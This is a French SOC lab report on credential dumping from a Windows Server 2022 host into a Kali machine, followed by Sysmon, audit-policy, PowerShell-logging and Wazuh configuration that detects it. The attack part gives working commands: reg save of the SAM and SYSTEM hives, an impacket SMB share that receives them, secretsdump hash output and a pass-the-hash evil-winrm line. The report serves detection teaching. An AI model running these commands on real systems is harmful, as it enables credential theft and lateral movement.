

Rapport Lab SOC — Chapitre 6, Module 5

Credential Dumping + Configuration SIEM (Sysmon, Audit Policy, PowerShell Logging)

Date : 2026-06-24

Environnement : Kali Linux (attaquant, 192.168.56.100) -> Windows Server 2022 (cible, 192.168.56.101)

SIEM : Wazuh 4.12.0 — Agent 002 (WindowsServer2022) actif

Objectif : Extraire les hashes NTLM des comptes locaux Windows sans outil externe, puis configurer le SIEM pour détecter cette attaque.

Contexte — Qu'est-ce que le Credential Dumping ?

Quand un attaquant prend le contrôle d'un serveur Windows, il cherche à récupérer les mots de passe stockés sur la machine. Ces mots de passe ne sont pas en clair — ils sont stockés sous forme de **hashes NTLM** dans une base de données appelée **SAM** (Security Account Manager).

Analogie : Le SAM c'est comme un coffre-fort dans les murs du serveur. Il contient les empreintes (hashes) de tous les mots de passe des comptes locaux. Un attaquant qui vole ces empreintes peut s'en servir directement pour se connecter à d'autres machines — sans même connaître le vrai mot de passe (technique **Pass-the-Hash**).

Ce module prouve :

1. Qu'un attaquant avec les droits Administrateur peut extraire ces hashes avec des outils natifs Windows (zéro outil externe)
 2. Que sans bonne configuration, le SIEM ne voit rien
 3. Comment configurer Wazuh + Sysmon pour détecter cette attaque immédiatement
-

Prérequis

- Accès PowerShell Admin sur le Windows Server 2022 (192.168.56.101)
 - Kali Linux avec Impacket installé (192.168.56.100)
 - Agent Wazuh 002 actif sur le Windows Server
 - Kali et Windows Server sur le même réseau host-only (192.168.56.0/24)
-

PARTIE 1 — L'ATTAQUE : Credential Dumping

Étape 1 — Extraire la ruche SAM

Machine : Windows Server 2022

Terminal : PowerShell Admin (PS C:\Users\Administrateur>)

Explication

Le registre Windows c'est une grande armoire de configuration. Cette armoire a des tiroirs spéciaux appelés **ruches** (hives). Le tiroir **HKLM\SAM** contient les mots de passe chiffrés de tous les comptes locaux.

La commande `reg save` dit à Windows : *"prends ce tiroir et copie-le dans un fichier sur le disque"*. C'est un outil 100% natif Windows — aucun logiciel externe nécessaire.

Pourquoi ça marche : en tant qu'Administrateur, on a le droit de lire et sauvegarder ces ruches. Windows ne considère pas ça comme une attaque — c'est une opération d'administration légitime.

Commande

```
reg save HKLM\SAM C:\Windows\Temp\sam.hive
```

Décomposition :

- `reg` — l'outil Windows pour manipuler le registre
- `save` — copier une ruche dans un fichier
- `HKLM\SAM` — le chemin de la ruche des mots de passe (`HKLM` = `HKEY_LOCAL_MACHINE`)
- `C:\Windows\Temp\sam.hive` — fichier de destination (`.hive` = format de ruche registre)

Résultat attendu : L'opération a réussi.

Étape 2 — Extraire la ruche SYSTEM

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

Le fichier SAM qu'on vient de récupérer est **chiffré**. Pour le déchiffrer, il faut une clé qui se trouve dans une autre ruche : **HKLM\SYSTEM**.

Analogie : SAM = le coffre-fort avec les empreintes de mots de passe. SYSTEM = la clé qui ouvre ce coffre-fort. Sans les deux fichiers ensemble, on ne peut rien déchiffrer.

Commande

```
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
```

Décomposition : même structure que la commande précédente, mais on cible `HKLM\SYSTEM` (la ruche système qui contient la clé de chiffrement).

Résultat attendu : L'opération a réussi.

Étape 3 — Créer un serveur de partage de fichiers sur Kali

Machine : Kali Linux

Terminal : terminal Kali

Explication

On a les deux fichiers hive sur le serveur Windows. Il faut les transférer vers Kali pour les analyser. On va créer un **serveur SMB** sur Kali — SMB c'est le protocole que Windows utilise pour partager des dossiers en réseau (comme les dossiers partagés dans une entreprise).

Analogie : c'est comme créer une clé USB virtuelle visible sur le réseau. Le serveur Windows va y copier ses fichiers comme s'il les mettait dans un dossier partagé.

Pourquoi pas Evil-WinRM ici : Evil-WinRM était cassé sur notre lab (problème de domaine). On utilise donc SMB — une méthode alternative tout aussi valide en pentest réel.

Commande

```
impacket-smbserver share /tmp/loot -smb2support -username kali -password kali
```

Décomposition :

- `impacket-smbserver` — outil Kali qui crée un faux serveur de partage Windows (SMB)
- `share` — le nom du dossier partagé (comme `\\serveur\share` dans Windows)
- `/tmp/loot` — le dossier réel sur Kali où les fichiers arriveront
- `-smb2support` — active la version 2 du protocole SMB (obligatoire pour Windows Server 2022)
- `-username kali -password kali` — identifiants fictifs pour l'authentification (Windows Server 2022 refuse les connexions anonymes par politique de sécurité)

Résultat attendu : le serveur démarre et affiche ses lignes de démarrage. Le terminal reste bloqué — c'est normal, il écoute les connexions.

Note : si on lance sans `-username/-password`, Windows Server 2022 renvoie l'erreur `"Les stratégies de sécurité bloquent l'accès invité non authentifié"`. Les identifiants sont obligatoires sur les Windows modernes.

Étape 4 — Authentifier Windows sur le partage Kali

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

Avant de copier les fichiers, Windows doit s'authentifier sur le partage Kali — comme ouvrir une session sur un dossier réseau d'entreprise. La commande `net use` fait exactement ça en ligne de commande.

Analogie : c'est comme taper login/mot de passe pour accéder à un dossier réseau dans l'Explorateur Windows — mais en ligne de commande.

Commande

```
net use \\192.168.56.100\share /user:kali kali
```

Décomposition :

- `net use` — commande Windows pour se connecter à un dossier réseau
- `\\192.168.56.100\share` — adresse UNC du partage (IP de Kali + nom du partage share)
- `/user:kali` — nom d'utilisateur pour l'authentification
- `kali` — mot de passe (dernier paramètre)

Résultat attendu : La commande s'est terminée correctement.

Étape 5 — Envoyer les fichiers hive vers Kali

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

Windows est maintenant connecté au partage Kali. On copie les deux fichiers hive vers ce partage — exactement comme glisser-déposer des fichiers dans un dossier réseau.

Commande 1 — Envoyer SAM

```
copy C:\Windows\Temp\sam.hive \\192.168.56.100\share\sam.hive
```

Résultat attendu : 1 fichier(s) copié(s).

Commande 2 — Envoyer SYSTEM

```
copy C:\Windows\Temp\system.hive \\192.168.56.100\share\system.hive
```

Résultat attendu : 1 fichier(s) copié(s).

Vérification côté Kali : dans le terminal où impacket tourne, des lignes de connexion apparaissent. Les fichiers arrivent dans /tmp/loot/.

Étape 6 — Extraire les hashes NTLM

Machine : Kali Linux

Terminal : nouveau terminal (ou après Ctrl+C sur impacket)

Explication

On a maintenant les deux fichiers sur Kali. L'outil secretsdump d'Impacket va combiner SAM + SYSTEM pour déchiffrer et afficher les **hashes NTLM** de tous les comptes locaux Windows.

Qu'est-ce qu'un hash NTLM ?

C'est l'empreinte cryptographique d'un mot de passe. Comme une empreinte digitale — unique, mais on ne peut pas retrouver le doigt depuis l'empreinte. Pourtant, cette empreinte suffit à un attaquant pour s'authentifier sur d'autres machines Windows (technique **Pass-the-Hash**).

Commande

```
impacket-secretsdump -sam /tmp/loot/sam.hive -system /tmp/loot/system.hive LOCAL
```

Décomposition :

- `impacket-secretsdump` — outil Kali pour extraire des secrets d'authentification Windows
- `-sam /tmp/loot/sam.hive` — chemin vers le fichier SAM (les mots de passe chiffrés)
- `-system /tmp/loot/system.hive` — chemin vers le fichier SYSTEM (la clé de déchiffrement)
- `LOCAL` — on travaille sur des fichiers locaux (par opposition à une machine distante en live)

Résultat obtenu

```
[*] Target system bootKey: 0x82e6c2ff5f8056c648f77d3a8b598b34
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:[HASH NTLM REDACTED]::::
```

Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Lecture des résultats

Format de chaque ligne : NomCompte:RID:LM_hash:NT_hash:::

Champ	Signification
Administrateur	Nom du compte
500	RID = identifiant unique Windows (500 = Administrateur intégré, toujours)
aad3b435b51404eeaad3b435b51404ee	LM hash vide — LM est désactivé sur Windows modernes
[HASH NTLM]	L'empreinte NTLM du mot de passe — c'est l'objectif
31d6cfe0d16ae931b73c59d7e0c089c0	Hash NTLM d'un mot de passe vide (Invité et DefaultAccount n'ont pas de mot de passe)

Ce qu'un attaquant ferait avec le hash

Sans casser le mot de passe, l'attaquant peut utiliser directement le hash pour s'authentifier sur d'autres machines Windows du réseau. Exemple avec Evil-WinRM :

```
evil-winrm -i 192.168.56.101 -u Administrateur -H [HASH NTLM]
```

Le -H remplace le mot de passe par le hash — Windows accepte les deux.

Résultat SIEM pendant l'attaque (AVANT configuration)

Wazuh n'a détecté AUCUNE des commandes d'extraction.

Les seules alertes visibles étaient des connexions réseau (Rule 60118 — logon SMB) et une tentative de connexion échouée (Rule 60122). La commande `reg save` est passée complètement sous le radar.

Pourquoi : Windows ne loggue pas par défaut le lancement des processus. Sans savoir que `reg.exe save HKLM\SAM` a été lancé, Wazuh ne peut rien voir.

PARTIE 2 — LA DÉFENSE : Configuration du SIEM

Pourquoi le SIEM ne détectait rien

Un SIEM (Wazuh) **ne fait que lire des journaux**. Si Windows n'écrit pas d'évènement, Wazuh ne peut rien détecter. Le problème était à deux niveaux :

Niveau 1 — Windows ne loggue pas tout par défaut :

- Lancement de processus (`reg.exe`, `powershell.exe`...) -> désactivé par défaut
- Commandes PowerShell tapées -> désactivé par défaut
- Accès au registre -> désactivé par défaut

Niveau 2 — Wazuh ne collectait que 4 canaux :

Security, Application, System, Defender — et rien d'autre.

Solution en 4 étapes :

Étape A — Activer l'audit de création de processus (Event 4688)

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

L'**Event 4688** c'est l'évènement Windows "un processus a été lancé". Par défaut il est désactivé. On l'active avec `auditpol`, l'outil de configuration des politiques d'audit Windows.

Analogie : c'est comme installer une caméra de surveillance qui filme l'entrée du bâtiment. Avant, il n'y avait pas de caméra — les gens entraient et sortaient sans trace.

Pourquoi le GUID et pas le nom : le serveur est en français. Les noms des sous-catégories d'audit sont traduits. Le GUID `{0CCE922B-...}` est universel — il fonctionne quelle que soit la langue du système.

Commande

```
auditpol /set /subcategory:"{0CCE922B-69AE-11D9-BED3-505054503030}" /success:enable /failure:enable
```

Décomposition :

- `auditpol` — outil Windows de configuration des politiques d'audit
- `/set` — on définit une règle
- `/subcategory:"{GUID}"` — on cible la sous-catégorie "Création de processus" par son identifiant universel
- `/success:enable` — on log les lancements réussis
- `/failure:enable` — on log aussi les tentatives échouées

Résultat attendu : Commande exécutée correctement.

Étape B — Activer l'enregistrement de la ligne de commande complète

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

L'Event 4688 activé à l'étape précédente note "reg.exe a démarré" — mais sans les paramètres. On ne saurait pas si c'était `reg save HKLM\SAM` (dangereux) ou `reg query` (normal). Cette étape ajoute la commande complète dans l'évènement.

Analogie : l'étape A installe la caméra. Cette étape passe la caméra en HD — on voit les visages, pas juste des silhouettes.

Commande

```
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v  
ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
```

Décomposition :

- `reg add` — ajoute une entrée dans le registre Windows
- `"HKLM\SOFTWARE\...\Audit"` — chemin de la clé à modifier
- `/v ProcessCreationIncludeCmdLine_Enabled` — nom de la valeur à créer
- `/t REG_DWORD` — type "nombre entier" (DWORD)
- `/d 1` — valeur 1 = activé
- `/f` — force (écrase si existe déjà, sans demander confirmation)

Résultat attendu : L'opération a réussi.

Étape C — Activer le Script Block Logging PowerShell (Event 4104)

Machine : Windows Server 2022

Terminal : PowerShell Admin

Explication

Le **Script Block Logging** dit à PowerShell d'enregistrer dans les journaux Windows chaque commande qu'on lui demande d'exécuter — même les commandes dans des scripts. C'est l'Event 4104.

Analogie : c'est comme enregistrer tous les appels téléphoniques dans un centre d'appels. Avant, on savait qu'il y avait des appels — maintenant on entend ce qui est dit.

Sans ça, on verrait `powershell.exe` démarrer dans les logs, mais pas les commandes tapées dedans.

Commande

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v  
EnableScriptBlockLogging /t REG_DWORD /d 1 /f
```

Décomposition :

- `"HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"` — clé registre qui contrôle la journalisation PowerShell
- `/v EnableScriptBlockLogging` — valeur à créer
- `/d 1` — activé

Résultat attendu : L'opération a réussi.

Étape D — Installer Sysmon (surveillance avancée)

Sysmon (System Monitor) est un outil **officiel Microsoft** (Sysinternals) qui s'installe comme un service Windows et génère des logs très détaillés sur l'activité du système. C'est la pièce maîtresse d'un vrai lab SOC Windows.

Ce que Sysmon surveille :

Event Sysmon	Ce qu'il détecte
Event 1	Création de processus (avec hash du fichier et commande complète)
Event 3	Connexions réseau (IP source/destination, port, processus)
Event 8	CreateRemoteThread (injection de processus)
Event 10	Accès au processus LSASS (credential dumping via mémoire)

Event Sysmon	Ce qu'il détecte
Event 11	Création de fichiers
Event 13	Modification du registre

D1 — Télécharger Sysmon sur Kali

Machine : Kali Linux — terminal

```
wget https://download.sysinternals.com/files/Sysmon.zip -O /home/kali/Sysmon.zip
```

Résultat attendu : le fichier Sysmon.zip est téléchargé depuis le site officiel Microsoft Sysinternals.

D2 — Extraire l'archive

Machine : Kali Linux — terminal

```
unzip /home/kali/Sysmon.zip -d /home/kali/sysmon/
```

Résultat attendu : les fichiers Sysmon64.exe, Sysmon.exe, Sysmon64a.exe apparaissent dans /home/kali/sysmon/.

D3 — Créer le fichier de configuration Sysmon

Machine : Kali Linux — terminal

Le fichier de config dit à Sysmon quoi surveiller et quoi ignorer. Sans config, Sysmon génère des milliers d'évènements inutiles par minute.

```
cat > /home/kali/sysmon/sysmonconfig.xml << 'EOF'
<Sysmon schemaversion="4.90">
<EventFiltering>
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="exclude">
<Image condition="is">C:\Windows\System32\wbem\WmiPrivSE.exe</Image>
<Image condition="is">C:\Windows\System32\svchost.exe</Image>
</ProcessCreate>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<NetworkConnect onmatch="exclude">
<Image condition="is">C:\Windows\System32\svchost.exe</Image>
</NetworkConnect>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<CreateRemoteThread onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<TargetImage condition="end with">notepad.exe</TargetImage>
<TargetImage condition="end with">explorer.exe</TargetImage>
</CreateRemoteThread>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
</ProcessAccess>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains">\Temp\</TargetFilename>
<TargetFilename condition="end with">.exe</TargetFilename>
<TargetFilename condition="end with">.hive</TargetFilename>
</FileCreate>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<RegistryEvent onmatch="include">
```

```
<TargetObject condition="contains">Run</TargetObject>
<TargetObject condition="contains">Services</TargetObject>
<TargetObject condition="contains">ScriptBlockLogging</TargetObject>
</RegistryEvent>
</RuleGroup>
</EventFiltering>
</Sysmon>
EOF
```

D4 — Serveur HTTP pour transférer les fichiers

Machine : Kali Linux — terminal

```
cd /home/kali/sysmon && python3 -m http.server 8080
```

Le terminal reste bloqué — c'est normal. Le serveur écoute les connexions du Windows Server.

D5 — Télécharger Sysmon sur le serveur Windows

Machine : Windows Server 2022 — PowerShell Admin

```
Invoke-WebRequest -Uri http://192.168.56.100:8080/Sysmon64.exe -OutFile C:\Windows\Temp\Sysmon64.exe
```

```
Invoke-WebRequest -Uri http://192.168.56.100:8080/sysmonconfig.xml -OutFile
C:\Windows\Temp\sysmonconfig.xml
```

Résultat attendu : les deux fichiers téléchargés sans erreur dans C:\Windows\Temp\.

D6 — Installer Sysmon comme service

Machine : Windows Server 2022 — PowerShell Admin

```
C:\Windows\Temp\Sysmon64.exe -accepteula -i C:\Windows\Temp\sysmonconfig.xml
```

Décomposition :

- Sysmon64.exe — la version 64 bits de Sysmon (adaptée à Windows Server 2022)
- -accepteula — accepte la licence automatiquement (sinon une fenêtre popup bloque tout)
- -i sysmonconfig.xml — installe Sysmon avec notre fichier de configuration

Résultat attendu :

```
Sysmon64 installed.
SysmonDrv installed.
SysmonDrv started.
Sysmon64 started.
```

Sysmon tourne maintenant comme un service Windows en arrière-plan, 24h/24.

Étape E — Mettre à jour Wazuh pour collecter les nouveaux canaux

Machine : Manager Wazuh (côté Claude — dans WSL Ubuntu)

Wazuh doit être informé des 2 nouveaux canaux de logs. On modifie le fichier agent.conf du manager, qui est automatiquement poussé à tous les agents.

Canaux ajoutés

```

<!-- Canal PowerShell Operational - Event 4104 -->
<agent_config os="Windows">
<localfile>
<location>Microsoft-Windows-PowerShell/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
</agent_config>

<!-- Canal Sysmon - Events 1, 3, 8, 10, 11, 13 -->
<agent_config os="Windows">
<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
</agent_config>

```

Après modification : `verify-agent-conf` pour valider, puis `wazuh-control restart` pour appliquer. Le hash de config de l'agent 002 change — confirmation que la nouvelle config est reçue.

Canaux collectés après configuration :

Canal	Events collectés
Security	4624 (logon), 4688 (processus), 4104 (PowerShell), etc.
Application	Évènements applicatifs
System	Évènements système
Microsoft-Windows-Windows Defender/Operational	Détections Defender (rules 62123/62124)
Microsoft-Windows-PowerShell/Operational	Script Block Logging (Event 4104)
Microsoft-Windows-Sysmon/Operational	Tous les events Sysmon

PARTIE 3 — TEST DE DÉTECTION

Test : Rejouer la commande d'attaque

Machine : Windows Server 2022 — PowerShell Admin

```
reg save HKLM\SAM C:\Windows\Temp\test_sysmon.hive
```

Résultat dans Wazuh

Alerte immédiate :

Heure	Rule ID	Niveau	Description
22:21:13	67027	3	A process was created — <code>reg.exe save HKLM\SAM</code>
22:21:15	92026	14	Reg.exe used to dump SAM hive

La **rule 92026 niveau 14** est une règle intégrée à Wazuh qui reconnaît spécifiquement la tentative d'extraction de la base SAM via `reg.exe`. Niveau 14 = **critique** — alerte rouge dans le dashboard.

Autres alertes générées par Sysmon

Rule	Description	Technique détectée
92031	Discovery activity executed	net accounts, net user
92039	net.exe account discovery	Énumération des comptes locaux
92106	Suspicious access to Windows admin shares	Connexion SMB vers Kali

Ces alertes prouvent que Sysmon surveille bien l'ensemble de l'activité attaquant.

PARTIE 4 — VUE ANALYSTE SOC

Avant configuration : ce que Wazuh voyait

Commande attaquant	Alerte Wazuh	Verdict
reg save HKLM\SAM	Aucune	ANGLE MORT
reg save HKLM\SYSTEM	Aucune	ANGLE MORT
net use \\Kali\share	Rule 60122 (logon failure) + 60118 (logon success)	Connexion réseau visible mais pas interprétée
copy ... \\Kali\share	Rule 92106 (SMB suspect)	Partiellement visible
impacket-secretsdump	Aucune (tourne sur Kali)	INVISIBLE

Après configuration : ce que Wazuh voit maintenant

Commande attaquant	Alerte Wazuh	Verdict
reg save HKLM\SAM	Rule 92026 Lvl 14 — SAM dump détecté	DÉTECTÉ IMMÉDIATEMENT
reg save HKLM\SYSTEM	Rule 67027 — process creation avec cmdline	Visible
net use \\Kali\share	Rule 60118 + 92106	Visible et interprété
copy ... \\Kali\share	Rule 92106 — accès admin share	Détecté
Commandes PowerShell	Event 4104 via canal PowerShell	Chaque commande loggée

Leçon principale

Un SIEM ne détecte que ce que le système lui dit. La configuration du SIEM (Wazuh) ne suffit pas — il faut aussi configurer Windows pour qu'il génère les bons événements. Un lab SOC complet nécessite :

1. **Windows Audit Policy** — activer l'audit des processus (Event 4688)
2. **Command Line Logging** — inclure la commande complète dans chaque event
3. **PowerShell Script Block Logging** — logger toutes les commandes PowerShell (Event 4104)
4. **Sysmon** — surveillance avancée (processus, réseau, LSASS, injection)
5. **Wazuh agent.conf** — collecter tous les nouveaux canaux

Conclusion

Ce module prouve de bout en bout l'attaque **T1003.002 — OS Credential Dumping: Security Account Manager** (nomenclature MITRE ATT&CK) :

- Extraction des ruches SAM + SYSTEM avec des outils natifs Windows (zéro outil externe)
- Transfert vers Kali via serveur SMB Impacket
- Extraction des hashes NTLM avec `secretsdump`
- Démonstration que sans bonne configuration, le SIEM ne voit rien
- Configuration complète du SIEM pour détecter cette attaque en moins de 2 secondes (Rule 92026 Lvl 14)

Prochaine étape : Module 6 — Exfiltration et techniques d'évasion réseau.